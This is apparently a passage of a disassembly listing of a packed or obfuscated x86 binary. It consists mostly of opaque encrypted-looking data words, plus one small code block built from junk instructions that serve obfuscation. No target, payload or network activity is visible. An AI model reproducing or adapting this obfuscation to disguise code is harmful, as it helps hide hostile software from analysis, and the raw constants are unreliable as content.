		dd 66F08B3Fh, 0FFC005BEh, 1F2D5995h, 0FF006A06h, 1F1D4595h
		dd 0EBC08B06h, 94F02D3Fh, 2EF86C4Dh, 46780610h,	0C9A41EBFh
		dd 5D0D268Bh, 4B13ED1h,	0E2184FA4h, 92EA333h, 9EA62C7Bh
		dd 3B436903h, 0C15ACAE6h, 2582DF06h, 0EC8021DAh, 677A2C2Fh
		dd 12A2EEB4h, 430E8ED5h, 0DE8h,	0B7014700h, 0FEB64227h
		dd 7A4C9B76h, 28BE4887h, 5F2A5689h, 69B5C781h, 0BE660000h
		dd 0C92BED0Eh, 2F3D958Bh, 34FF061Fh, 89958B39h,	58061F07h
		dd 8AC081F5h, 8B60CFE5h, 97F081D6h, 665B1200h, 81AE60BBh
		dd 0EE6CF2E8h, 50F08A7Fh, 5D9589h, 48F061Fh, 8166570Fh
		dd 5BAF9CE2h, 1FE99D8Bh, 0E983061Fh, 1D9D8B04h,	81061F0Ah
		dd 0FF96ECF9h, 16850FFFh, 66000000h, 0A2D5E281h, 25E9h
		dd 6A291000h, 77A9B468h, 41D7B057h, 5DB58948h, 0E9061F15h
		dd 0FFFFFF8Eh, 28BFC079h, 1BF82FD8h, 8AD7B348h,	8D8D04FAh
		dd 6255943h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	5C35141h, 707A3705h, 0E9FCFCE9h, 14h, 0E6BEBFA6h
		dd 0E2281957h, 0D73CA4E3h, 810D02ADh, 5461BF4Fh, 5D8D89F8h
		dd 6A061F0Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 5F46C351h, 446C39F4h, 89DD7B08h
		dd 1F161185h, 0C585C706h, 0C4061F20h, 3100005Dh, 1F1AEDB5h
		dd 7D85C706h, 61F13h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 0F2B2C352h,	0B5FF18EFh
		dd 61F0D29h, 95FF39B4h,	61F2D59h, 95FF006Ah, 61F1D45h
		dd 3AEBC08Bh, 0D1524EF6h, 779CD725h, 50452C70h,	3F0868FEh
		dd 6BEDF92h, 55A7B98Eh,	0F6139330h, 5C89F774h, 4087425Eh
		dd 0AB01F36Bh, 840F688Bh, 9DD6CFA4h, 5241B44h, 0D6F2E330h
		dd 0AE81D9Ah, 81000000h, 0BBE7B047h, 9EBFC67Bh,	75958B7Ah
		dd 59061F0Eh, 8E9h, 7B64A900h, 717DD939h, 0A9C18120h, 8B000071h
		dd 1F137995h, 188BF06h,	0EF814FE3h, 4FE2E542h, 8FECB866h
		dd 0C381318Bh, 1DC71A27h, 5F93EE81h, 958B24C7h,	61F0885h
		dd 0F0E2F681h, 11E836EAh, 79000000h, 0AFCE3CEDh, 9A5B2BCFh
		dd 2A8202E0h, 0A4C0589Ch, 58DA8B66h, 33ACEE81h,	0D480030Ch
		dd 6631890Ah, 0C03FE081h, 8904E983h, 1F19A19Dh,	1EF8306h
		dd 0FFAA850Fh, 9D8BFFFFh, 61F1FFDh, 0E71308EBh,	45E0h
		dd 0B0E90000h, 6800000Ah, 6255B98h, 0FAEF98E9h,	5CA068FFh
		dd 8EE90625h, 68FFFAEFh, 6255E89h, 0FAEF84E9h, 5F6B68FFh
		dd 7AE90625h, 68FFFAEFh, 6256107h, 0FAEF70E9h, 627568FFh
		dd 66E90625h, 68FFFAEFh, 6256355h, 0FAEF5CE9h, 950E33FFh
		dd 3AEDD334h, 0DFB678D9h, 7E111D7Eh, 1EF3BC1Dh,	39FE8FBDh
		dd 0DF40A176h, 82E344DBh, 2687E8BDh, 0D12D8E1Fh, 72B5396Ch
		dd 731AF7B3h, 881A42Eh,	94153085h, 0A87DCE33h, 2CF951DFh
		dd 0A95569DCh, 53020426h, 784495EAh, 0F58322A5h, 0AF5983AEh
		dd 961F54FBh, 5BAC1C4Fh, 0FD52BB6Ah, 0AD4224CAh, 9F04B3F7h
		dd 0E584079Ch, 559DD457h, 5BF7AD42h, 115E9AB9h,	34A10265h
		dd 46h,	5AB57ACBh, 74B43278h, 1093423Ah, 0B18EE371h, 7EB11A74h
		dd 0FBAF3723h, 841B2576h, 1184AC01h, 6136FD62h,	86B13FDEh
		dd 34D6ED7h, 5EC4DFB7h,	88BF42D0h, 0F7ADFD6Ah, 4985A446h
		dd 0A1030C26h, 0AC1Fh, 81A4CA00h, 0F308508h, 0DAE0319Ah
		dd 0DD32B543h, 67BC3FC8h, 4364CD5Eh, 8CED8021h,	0E4C72C06h
		dd 0FD40A12Fh, 0F18EAC2Bh, 79DA5372h, 0F97C0D18h, 0B11A74B1h
		dd 0AF920F7Eh, 0B26182FBh, 5587789Ch, 0D988B341h, 85012478h
		dd 0C865E91Ch, 7B2A01CCh, 29FEC112h, 0CF4467C8h, 0FCE15054h
		dd 251D4E2h, 8A5h, 0B6C250Ch, 0B01184AAh, 59BA6D4Fh, 6134F8h
		dd 0A6079C9Fh, 19221578h, 0FEC22384h, 5E65C627h, 3E0768C9h
		dd 4BB00C6Dh, 0B373D618h, 0D52F9F7h, 0F74C9BA4h, 8E182AC4h
		dd 0B7FEADF1h, 0F18E1837h, 0D93AE998h, 7BDCAD78h, 694FA02Ah
		dd 55D028B6h, 49DD039h,	0D1FBAF37h, 8A689F22h, 26F7AD37h
		dd 46296584h, 0FFA10246h, 0EBh,	6B4FA0AAh, 1827C7FAh, 0F9A8F18Eh
		dd 9A28C74Ah, 2E971035h, 0B310B8D9h, 0D6753C8h,	8E3628C6h
		dd 6AF8A7F1h, 0F4A992E7h, 3AEE3A71h, 1233F18Eh,	320AFC13h
		dd 65749E38h, 178ECD35h, 2B8C3BEAh, 0AF32FBCAh,	67D0BE67h
		dd 0AF355934h, 6C093EFBh, 8D8BC620h, 81D536E5h,	0DF0C34A4h
		dd 0AD7042ACh, 37E695F7h, 77EC1F88h, 4001CCFCh,	0D4D72891h
		dd 6750B3B9h, 10BFF9E5h, 0BE4F56A7h, 4D6ECF30h,	84187452h
		dd 0CCC09D51h, 4E8332F1h, 0EF9EA1D4h, 0FC576274h, 2C7BFEE2h
		dd 79Dh, 3643D04h, 0A8099CA2h, 51B26547h, 0F859CCF0h, 9EFF9497h
		dd 111A1D70h, 0F6BA1B7Ch, 565DBE1Fh, 26FF60C1h,	43A80465h
		dd 0B374DE10h, 54AF1F7h, 0D6184BA0h, 0F9F18E18h, 5457BC4Ah
		dd 3D0556BFh, 0BA48E76Ah, 82A3F459h, 0F167B09h,	0A0CC1D7Eh
		dd 0A5C5617Fh, 65F3B525h, 0E1642500h, 87F0B98Ch, 73CABF66h
		dd 6CFA7DBEh, 206EB70Bh, 291162B7h, 0EF54F376h,	31D053C8h
		dd 35615CA3h, 8736FBAFh, 5896C91Eh, 77F7AD35h, 62B73AC8h
		dd 869CA43h, 90E96C3Dh,	0B7DB736Fh, 0AB930E0Fh,	70B745F4h
		dd 7E679261h, 0B4F110C2h, 56B71891h, 43BBE4Fh, 72E78CEDh
		dd 77AAFF64h, 72E78C77h, 691BA958h, 0B9380D4Ah,	0C6D1CF3h
		dd 5E8B9AABh, 0C84164AEh, 0DF71A645h, 0A72AD96Eh, 0E72F8570h
		dd 8FAE4C72h, 3F047352h, 9948E76Ah, 3DCED738h, 8B07B3D4h
		dd 27B90DABh, 57CE1699h, 0CA9BCE37h, 0B7A55D0h,	7EA7FB5Ch
		dd 8974A710h, 6E7468D6h, 3D0556BFh, 59DC6Ah, 0C89042DFh
		dd 35FA8AF6h, 0DC23B160h, 70348B15h, 6EF1A488h,	0F5ED3D49h
		dd 0E84D516Bh, 96CF52C7h, 66CCD9F8h, 9D83BA25h,	22C416C5h
		dd 9EA8C703h, 9B9D1989h, 48000003h, 0FF267CBDh,	9ED1268Fh
		dd 0F18E1850h, 81141A7Fh, 0A8DB44D2h, 0FBAF3825h, 0E52CBB6Ah
		dd 7CBE69CDh, 55BEC85Dh, 0A21CD00h, 0B07C78A0h,	90BB5ADDh
		dd 0E392052Bh, 0C8B9EC55h, 0AD82C11Bh, 7B4495FEh, 0D457CEF0h
		dd 1E218635h, 0D9670689h, 57A8FD56h, 7579C057h,	20729CD8h
		dd 0AC5B861Bh, 2F5FC61Eh, 0F0C7A5C6h, 4F2AA34Bh, 9837BA6Dh
		dd 0BFF25BE9h, 7CBAECA4h, 1184A6F7h, 40A95883h,	0F455D6EFh
		dd 227D3E8Fh, 681A4D96h, 0F87B2A68h, 5F66CB59h,	7F4753CEh
		dd 64E765EEh, 5B415h, 7D161B00h, 22F5BB1Ch, 0C75E60C1h
		dd 66390566h, 69BA405h,	211677A5h, 0C728891Eh, 6ACB2CE3h
		dd 0E6FD045h, 0B9157637h, 76CD2154h, 5B02F7B3h,	6074B116h
		dd 8E18C12Dh, 49A5D8F1h, 8EF18E18h, 527FB4DFh, 788D9866h
		dd 0C42DDC8Bh, 53D64973h, 0F3A7FB4h, 1C159270h,	0CBF2258Eh
		dd 0ACFBAFD0h, 257AFDh,	0F8CD1E87h, 2CDBAC79h, 1BCD1B9Eh
		dd 2D59CCFCh, 0D64973C4h, 11ACDF48h, 6601CEEAh,	0D0F556B7h
		dd 0A67FD457h, 0E493082Fh, 0F312C061h, 0B51EEFB6h, 0B8C12D60h
		dd 6716F18Eh, 571878D9h, 0EE9AE3C7h, 256h, 1A74B199h, 0F2567EB1h
		dd 0D685FBA9h, 7D101C6Dh, 0A3586EFh, 0E8D33495h, 33E2B57Dh
		dd 0E2B579CAh
		dd 515BC05Fh, 76AD30BEh, 0F7B37281h, 118C1D28h,	1B18CA3Bh
		dd 0D2DD2CAFh, 39000004h, 0DD3E9F70h, 7EDF40D7h, 2788E9BCh
		dd 0CE2F9007h, 0A9D738EDh, 0B36853C4h, 56C9F152h, 0FAAF94F5h
		dd 9C6D3899h, 477ADF3Bh, 0F7B377A7h, 0A03C8128h, 0D20B9C7Fh
		dd 9CDC0110h, 0CF0494F5h, 5DB543F2h, 2255BEC8h,	0FBAA68B2h
		dd 0C24B5AABh, 0D75A0934h, 89EAA382h, 98C1D28h,	0D5E91B4h
		dd 4EED7027h, 0B344E707h, 1697AEF7h, 1AC9F493h,	9947E86Bh
		dd 9F683D7Ah, 344F1536h, 41930A3h, 0B45A7ECFh, 31BF1EF9h
		dd 101A6BD0h, 7D10187Dh, 69CD5BFAh, 0A1090E06h,	1813Fh
		dd 81A4EA00h, 15308508h, 46DF3394h, 85ACDF48h, 52FBAF1Eh
		dd 9E920A3h, 0A7F7AD1Eh, 50A5E605h, 0AD1ED11Dh,	0F25706F7h
		dd 68CC5AD3h, 0A1024107h, 403Eh, 74B1E900h, 237EB11Ah
		dd 0B4FBAF37h, 654B9C05h, 0C62F6A2Ch, 0DA892B2Fh, 0A72AB857h
		dd 0AD718270h, 6D8C2EF7h, 2803E31h, 0DA07A1h, 499E0000h
		dd 0AD65D816h, 5B8EF7F7h, 0F7AD6593h, 58E69544h, 881A403h
		dd 0B96C4E9Fh, 6A629736h, 355BA622h, 0EF44C755h, 846A9DCCh
		dd 53F18EE8h, 0AA59CCEEh, 0CA1F78FBh, 8EE85797h, 3BC978F1h
		dd 0A788CFD6h, 21D06FF2h, 0AB7C499Eh, 0ED21074Ah, 5D68F18Eh
		dd 0E176BCCh, 0B2F61780h, 173AE6B7h, 56787BAh, 0B968F18Fh
		dd 0E0137C0Ah, 0FBAE9201h, 9DBE27D6h, 7533ACFFh, 48B13F3Ah
		dd 406DD2F3h, 9464C4C1h, 4F9EA106h, 0AF19D21Ch,	9BA005F7h
		dd 47A85706h, 0D550C5E6h, 0E4E36EE9h, 36ABFA7Dh, 9D000003h
		dd 399AFB94h, 0DA3B9C73h, 7BDC3DD0h, 1A7BDCB3h,	0ED1B7C11h
		dd 0FF949798h, 0A2753D9Eh, 46DBE041h, 0E8A184E5h, 93C62B87h
		dd 0F7B3795Bh, 0A490D57Ch, 44A5069Bh, 0F647A861h, 850881A4h
		dd 33941530h, 0DF4846DFh, 0AF0CB9ACh, 0EC6F1EFBh, 0AD2C3FB5h
		dd 58AD12F7h, 0AD2CC925h, 71D90EF7h, 262BA98Eh,	16C85605h
		dd 5965B6F7h, 45E038C6h, 0B8ADE049h, 1D01CEDBh,	57A80D6Eh
		dd 9E3DC057h, 81A4BB10h, 15308508h, 46DF3394h, 698ADF48h
		dd 0E37038BAh, 7D0E171Ch, 1EAC5BFAh, 0B0075AD7h, 426CBDFBh
		dd 63123DCBh, 7C72A5FAh, 5BF7AE07h, 649B1EACh, 0F7AE078Eh
		dd 0B278C922h, 2BB958DBh, 511E5A79h, 0F4A1032Ah, 27h, 1A74B19Fh
		dd 37237EB1h, 2576FBAFh, 65048700h, 7AFDACD7h, 0AD37AF43h
		dd 405F01F7h, 2466B04h,	0CADAA1h, 0A0850000h, 7989357Fh
		dd 396E66B2h, 484A8F90h, 379C2AF9h, 0E3349D6Eh,	32B543D8h
		dd 0BA3DD2DDh, 5EC74065h, 0E270270Dh, 8EB5065Fh, 69F79619h
		dd 7682104h, 8EA964C4h,	6C54A5F1h, 99736B9h, 0A70881A4h
		dd 9FCAF142h, 0CD5B0A9Dh, 49CC5D68h, 16A2401h, 0AF948FCEh
		dd 107120FBh, 0B41D69BCh, 0CD426A81h, 20066B01h, 7120F7B7h
		dd 270859C2h, 8FB01172h, 45A59F1Ah, 0CE51E2FCh,	1C87Fh
		dd 990A2F00h, 3ED1D738h, 0DBB27CDDh, 8215197Ah,	2AFFC021h
		dd 45CA9BC9h, 0E344A57Ah, 86E748DFh, 2A8BECA1h,	0D531921Bh
		dd 7AB13D70h, 7F26F7B3h, 69BA43Ah, 0C8EF40A5h, 37B7EA53h
		dd 98F18E18h, 2FF65BE9h, 4798FD5Eh, 0CC21AF64h,	0B11A74B1h
		dd 0AF37237Eh, 8205B4FBh, 0AD37A74Bh, 486709F7h, 246630Ch
		dd 0BCE2A1h, 0A48D0000h, 30850881h, 41ADE00Fh, 96F18E18h
		dd 7EB538E7h, 0F18E1CAAh, 0F455D6EFh, 0C9C46E8Fh, 99DC1F68h
		dd 0E9FA60Bh, 0A4E2438Bh, 6F55083Bh, 1B3CFBAFh,	0C07FF603h
		dd 0D3FE8C8Ch, 0B66FC324h, 0A3C6FD8h, 8F01CD9Ch, 19A77E3Eh
		dd 85D63FEEh, 0C65E8BFh, 0CC7315D9h, 5C0BBAF1h,	732EC0F3h
		dd 0F2A1F1CCh, 81AAFB64h, 614AAB0Ch, 347131ACh,	6AEDE2FCh
		dd 0E81Bh, 0B96A4F00h, 5E31F758h, 0FB929CFDh, 0A275399Ah
		dd 4ADFE041h, 65AABBE9h, 364C55Ah, 0A607683Fh, 4AAB0C81h
		dd 0F551B27Bh, 7B915D90h, 9F46F7B3h, 809BA45Ah,	83AB8F97h
		dd 0B5EA890Ch, 0D2818AB7h, 74351071h, 81A4C213h, 0DB2C8508h
		dd 0F2A589D4h, 9321C043h, 3596172Eh, 0E14A44E1h, 9E713B8Ch
		dd 0F20FC910h, 1D72FBA9h, 0B37204EAh, 9624D3F7h, 0E039BC6Bh
		dd 7296588Bh, 8A39F7B3h, 0FD8E97FCh, 0C6E6379Ch, 9F2DCC4Fh
		dd 0B5E86B3Ah, 0F7B37239h, 0A275399Eh, 22D1801Fh, 0F473689Fh
		dd 77E0BBEEh, 2B900526h, 69088B00h, 0CD0A29DBh,	69CE2FF8h
		dd 0F00DE114h, 13C2376Eh, 0CE052085h, 18433EAh,	8A0D80ACh
		dd 2A6B8A3Ch, 0F04CA2D5h, 0DC8B376Eh, 0F0AE4073h, 7221376Eh
		dd 0E5A67FE4h, 89022384h, 3B706h, 5E620000h, 49DA409h
		dd 90192C81h, 1EF3B80Dh, 0AB62469Bh, 33E8D328h,	0BB505BB0h
		dd 44DBE338h, 0CB426CC1h, 5ACDF348h, 89538ED7h,	4C381E3h
		dd 81000000h, 4EBh, 241C8700h, 2424895Ch, 4240481h, 51000000h
		dd 0C181E189h, 4, 4E981h, 0C870000h, 14895C24h,	67306824h
		dd 34890000h, 4A38BA24h, 0B85038BDh, 3E981049h,	5458C231h
		dd 8324348Bh, 525704C4h, 43243481h, 5F5C4A71h, 7143F781h
		dd 7E895C4Ah, 34FF5F08h, 0C4835E24h, 2434FF04h,	4C4835Ah
		dd 0FAE4F4E9h, 0B8C549FFh, 6256462h, 0E0FFC503h, 2775CBF4h
		dd 596A67F2h, 56FE1ED1h, 784FC9C5h, 69B33D55h, 1BECED6h
		dd 1F53609Bh, 178FC6ECh, 31BE0578h, 65EF8D8Dh, 9D290625h
		dd 61F20DDh, 6E9h, 0BB85C600h, 89F9C441h, 1F0B5D8Dh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 0C585C796h, 3C061F20h, 6A000058h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0A186C352h
		dd 85C74646h, 61F137Dh,	0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 1DC35141h
		dd 0ED7EAD9Bh, 10E9h, 0E79F4000h, 97F947B0h, 1DC2565Bh
		dd 93C79C47h, 18B0F58h,	0F8000000h, 1ECDB5FFh, 0BE9061Fh
		dd 0FF000000h, 0E7E0E596h, 7C4E186Bh, 95FFA308h, 61F2D59h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0ACC35242h
		dd 95FF006Ah, 61F1D45h,	3DEBC08Bh, 53F76E41h, 864DB613h
		dd 5F7C001h, 9B973921h,	0ED9B5DBFh, 6AC49C56h, 2A1F24A5h
		dd 0F7279297h, 4DFC68E2h, 0F3BB9F64h, 0C14BCA51h, 0EC78FC85h
		dd 0A19DF547h, 0F49B7EB3h, 50146F55h, 8EB57h, 24000000h
		dd 0E96538E6h, 502h, 25674B68h,	1738E906h, 0B068FFFAh
		dd 0E9062567h, 0FFFA172Eh, 25692068h, 1724E906h, 0C5E7FFFAh
		dd 0A401C53Ch, 8A20E45Bh, 6D3C0077h, 4F571B92h,	35EF3BB2h
		dd 148B7630h, 35AC6350h, 53CA3771h, 70E7188Fh, 0AA822EA7h
		dd 3D19AE3Bh, 0F37C9205h, 0D3A16F47h, 2A4E021Fh, 43D52C7Ah
		dd 70E7188Fh, 0E25B2E09h, 0F0952136h, 68FAAE15h, 0F2D3F4C8h
		dd 1DDD5A25h, 3FE77996h, 0D3421AC6h, 21D525F2h,	0DF5C82FDh
		dd 974729Ah, 31533h, 7FEBC000h,	30A9EC4Bh, 0F081CB84h
		dd 19AC6015h, 0D5E92C79h, 0E5A88F22h, 8D3C06Ch,	0DA101975h
		dd 0B121AB05h, 9E0BBBCAh, 44043D61h, 0EA159063h, 680CB446h
		dd 53B87FD6h, 48DA875Ch, 49C2662Ch, 9409FC9Dh, 0D52B611Fh
		dd 0B647919Fh, 34E82145h, 357232BBh, 6C9038CAh,	3192EBBCh
		dd 58C8BD62h, 2F07B32Ch, 0C22F9645h, 66F36A0Eh,	0D8FC03A6h
		dd 19807F28h, 0F9EAAAD2h, 39C2E177h, 0FA000003h, 14D84FB2h
		dd 33F76E91h, 4F138A77h, 6A2EA55Ah, 24EC53Ch, 0A0614548h
		dd 0C14E6529h, 0DF22864Ah, 0FC03A468h, 9743BC85h, 19AE3ABFh
		dd 0A2A71A52h, 0DB870095h, 15F6C818h, 1BE4C585h, 910ABEF7h
		dd 0B52CD5D1h, 0CB77B5F1h, 25F908F3h, 9C2ED286h, 0F9092DFCh
		dd 936C3B25h, 0D6FC52Ch, 0CBEA80F0h, 2D4h, 73EA1795h, 9209F6AFh
		dd 0AE25DCCEh, 0C940BFEAh, 0E960A105h, 0CCDAE39Dh, 0B9FABE35h
		dd 8D1BDF56h, 6E39FD74h, 0D8511A91h, 0AE3A542Ch, 3CAFE719h
		dd 870095A2h, 0F6C818DBh, 7F11C515h, 0F9090BDFh, 78891F25h
		dd 8D7432E6h, 7C62F1FBh, 0AD453B1h, 4E216831h, 0E61CA509h
		dd 0FB1F351Bh, 8D650197h, 2025F98Ah, 0C7AF486Ch, 3C000001h
		dd 0B9D6245h, 2EDA5057h, 1FD3A156h, 0DCB460E9h,	6F1FD3A1h
		dd 55F117BBh, 3F5615B9h, 0E44BC266h, 19C53E53h,	15F02A04h
		dd 29D6D191h, 7F53F385h, 0E525F228h, 0F6C37866h, 170975C1h
		dd 48h,	95A2A4h, 8136DB87h, 23E315F0h, 0C1EB7D82h, 0FB6CB98Eh
		dd 0B155F954h, 0DF6CA21Fh, 0B579B14h, 0C1953155h, 2725F2B7h
		dd 40BFEAAAh, 67E206AEh, 8621E177h, 0FABF5579h,	33097456h
		dd 38CA3773h, 0E2D36C90h, 60000000h, 0B9D6245h,	0AC304F57h
		dd 1D5D2CE1h, 59CE5B1Dh, 894F4B33h, 89F53E5h, 5FE865F7h
		dd 0D332DBB3h, 96BA6E1Fh, 0C73EC1E6h, 0D3372917h, 8D72351Fh
		dd 588AF16h, 7F57038Ch,	121FD336h, 15C13A5Eh, 15F4A330h
		dd 79961DDDh, 229B3FE7h, 0E98E69ECh, 0C5EB89D1h, 4262FA90h
		dd 0D34C70D5h, 0F76E9313h, 5FCAA6Ah, 0F7A7CB73h, 966D46AFh
		dd 0A94DF110h, 913D142h, 0D7F68CF0h, 164h, 37A8725h, 2299663Fh
		dd 3EB54C5Eh, 59D02F7Ah, 79F01195h, 3C6A732Dh, 298A4EC5h
		dd 0FDAB6FE6h, 0DEC98D04h, 68E1AA21h, 0AE38E4BCh, 0CC3F7719h
		dd 0BCB6145h, 2CD4669Bh, 0D3A1B890h, 16C24B1Fh,	1FD3A13Eh
		dd 0D5791DD1h, 0F20D9A5Eh, 7730F079h, 0A214EC88h, 0F3A71FD3h
		dd 0BCB58CFh, 0F5B2629Fh, 0ACD0780Ah, 9D624549h, 0AF50570Bh
		dd 2366D138h, 526121AAh, 5F832BBDh, 0F0F07FC3h,	7D2AEA15h
		dd 2448F082h, 35BE37EBh, 0F2EFB189h, 6C904425h,	8E7333F3h
		dd 0EF936717h, 0A725F2h, 3BFB88FFh, 0A8F3146Bh,	0BF0F397Fh
		dd 0BDE1891Bh, 4A5C990Dh, 649A13B7h, 26D10BA1h,	0F082A665h
		dd 0A3D1h, 95A25A00h, 0AB4FB2F4h, 0C7FF8632h, 0C07415F6h
		dd 0DD228747h, 0ED7FA34Bh, 18916E39h, 2FDB4F58h, 25F90757h
		dd 9236EAh, 0F9BD3458h,	8F6445AEh, 9F43E718h, 0D9D0900Dh
		dd 0E476991Ah, 5206983Ch, 6E16A857h, 670AA6CAh,	47011694h
		dd 0ACFB26B8h, 0C64FDC53h, 0C05CA306h, 891694E8h, 0F3A3C77Bh
		dd 12D24BB4h, 0B8476093h, 95588214h, 2A03A541h,	0D7698D31h
		dd 0E7798623h, 1908D655h, 6FF8718Eh, 7305FAAFh,	95572FCBh
		dd 36EA8916h, 0D0D79B12h, 0D7E9D2Fh, 0F1000000h, 95E4BC68h
		dd 0C3778916h, 40A73C9Fh, 89A6745h, 1AAC5354h, 2DBF4266h
		dd 43D53A79h, 58EA178Fh, 6DFF02A4h, 7D0FF0B9h, 8E20E1C9h
		dd 0A234CBDAh, 232E6886h, 8F540000h, 4812404h, 424h, 0E6895600h
		dd 4C681h, 0EE810000h, 4, 5C243487h
		db 89h,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	esi
		mov	esi, 4CD849EFh
		mov	ebx, 0B94D1C6Fh
		add	ebx, 12002D27h
		add	ebx, esi
		sub	ebx, 12002D27h
		pop	esi
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, ebx
		mov	[edx+8], ebp
		mov	ebp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_535A7A
; ---------------------------------------------------------------------------
		dd 0D6EFD0F3h, 2B33EAFDh, 94DE389Fh, 0A9B8E5C3h, 306256Ah
		dd 94E0FFC5h, 0ED6560BDh, 6962A498h, 85408D89h,	9406D051h
		dd 0C06D443Ch, 807A50B5h, 153716F9h, 7A46E7ACh,	0D66F4422h
		dd 0D26E36B1h, 0E82ADA29h, 5, 0D9DB81E1h, 0A3C9817Fh, 5F7B9DFCh
		dd 8E9h, 0CCC67600h, 964CF741h,	47C78164h, 66000073h, 0E2BCC981h
		dd 1CA768h, 0F6816600h,	6658F0EBh, 5AC681h, 81661F8Bh
		dd 819F97EEh, 0ACC1E0C3h, 8B0F6068h, 2,	0B057F8B6h, 81615A83h
		dd 2169B0EBh, 0E8DABA71h, 0EB814B31h, 5C3FAFE6h, 1C86BA66h
		dd 1D40BE53h, 78F33E7h,	2EF83F5h, 4F66E680h, 0E883F84Fh
		dd 0D850F01h, 8B000000h, 29E9D6h, 7EAE0000h, 0A3CE8868h
		dd 7860Fh, 8B600000h, 3BC880F0h, 0FF96E961h, 267DFFFFh
		dd 9400E2DFh, 0C99B391Dh, 350D0E70h, 8DF17311h,	256D028Dh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 9E5FD0C3h, 0BF0FD59Ah, 10C080F0h, 0B5D8D89h
		dd 0BD23061Fh, 61F0035h, 20C585C7h, 6844061Fh, 5B530000h
		dd 137D85C7h, 61Fh, 0C7810000h,	6F6EBA4h, 0F41B5FFh, 6A061Fh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0A7004BC3h, 0D26B51A2h, 8B0F603Ah, 6, 1331B589h, 2FBF061Fh
		dd 61333BD5h, 5EAABA66h, 0EE9h,	6EBA3C00h, 0B5B91CDAh
		dd 13FA1377h, 0FFCBCFCFh, 1F2D5995h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 90490A8Dh
		dd 6AB5179Ah, 4595FF00h, 8B061F1Dh, 0E25AEBC0h,	0DCA3E9F1h
		dd 61A3DCEAh, 34D70DD0h, 801AA84Fh, 0E26D06EFh,	75820F36h
		dd 0EFDD6899h, 2FC9D0BDh, 325F5423h, 15A830C4h,	4E2BB4D2h
		dd 806F812Dh, 4BDC922Ah, 78F75D43h, 0D1CC3621h,	0ABCA311Fh
		dd 4C05B85Ah, 0B2446EBCh, 0CA0A14F9h, 0E34262D6h, 0C61E9144h
		dd 2C4A8624h, 3C8D8D87h, 6A06256Eh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 45B4C355h
		dd 0A4E9C8E8h, 81188692h, 242BF4D6h, 14E90Ah, 0DAA80000h
		dd 0C42D2356h, 653726E5h, 0B85B71C6h, 93A0E9DCh, 8D89BD83h
		dd 61F0B5Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	0E2C35141h, 0B1C8805Dh,	8003276Eh, 20C585C7h, 6FD4061Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 0FE304AC3h, 85C7C68Ah, 61F137Dh, 0
		dd 0E3D08166h, 59531BCh, 0FF061F2Ch, 1F1EB1B5h,	5E906h
		dd 0AF90000h, 0FF73CB3Dh, 1F2D5995h, 4D852906h,	89061F00h
		dd 1F273D85h, 0FF006A06h, 1F1D4595h, 0EBC08B06h, 1F0F091Eh
		dd 5696BE6Fh, 6B5ED7D7h, 78AC9441h, 0E9EC1ABCh,	0A7F2FA90h
		dd 0E5A6E544h, 0E8F75CF0h, 13h,	164AF0E3h, 85473C34h, 0F317A822h
		dd 594C80Dh, 8BD88D20h,	1F23118Dh, 0C0815806h, 74E4h, 0BBECD980h
		dd 29F639D9h, 24CCF381h, 0F18129F6h, 69124BF9h,	8E0F30FFh
		dd 0
		dd 0CB8B665Ah, 0C153C281h, 0F28153F0h, 6A343D6Fh, 5E9h
		dd 7A31AF00h, 0F28173AAh, 2FC5C4E2h, 5229C980h,	0CC18D31h
		dd 8F061Fh, 24BDBD8Bh, 0E881061Fh, 522B9081h, 2A258D8Bh
		dd 0C081061Fh, 522B907Dh, 62C78166h, 1EB8329h, 0FFA6850Fh
		dd 0BD8BFFFFh, 61F06FDh, 13E8h,	2C285300h, 0FB3DFA5Dh
		dd 8D140AE6h, 25F004h, 0B9053FF1h, 5EC18B57h, 817CB45Bh
		dd 6152C3h, 0CD950900h,	33061F1Ah, 0BE9C9h, 9F3D0000h
		dd 6B9B33DAh, 0DB25CD8Ch, 1934FFBDh, 6810Fh, 85230000h
		dd 61F10A9h, 91BD895Ah,	81061F13h, 746E9EAh, 6E80Ah, 63430000h
		dd 0CE38AF21h, 18E9B589h, 815F061Fh, 0A19ACEF2h, 32C28119h
		dd 522FFDD1h, 0B048FFCh, 1F0D62B8h, 95E98136h, 0E92F411Ah
		dd 5, 0EB251DE8h, 91C18174h, 0F2F411Ah,	0F981FABFh, 0FFFF9F4Ch
		dd 0FF97850Fh, 8DF9FFFFh, 2570A68Dh, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0A577B7D1h
		dd 6063BCAFh, 46C8BA66h, 5D8D8961h, 89061F0Bh, 1F2341B5h
		dd 0C585C706h, 40061F20h, 6A000065h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 8E19C352h
		dd 85C75B8Ah, 61F137Dh,	0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 60C35242h
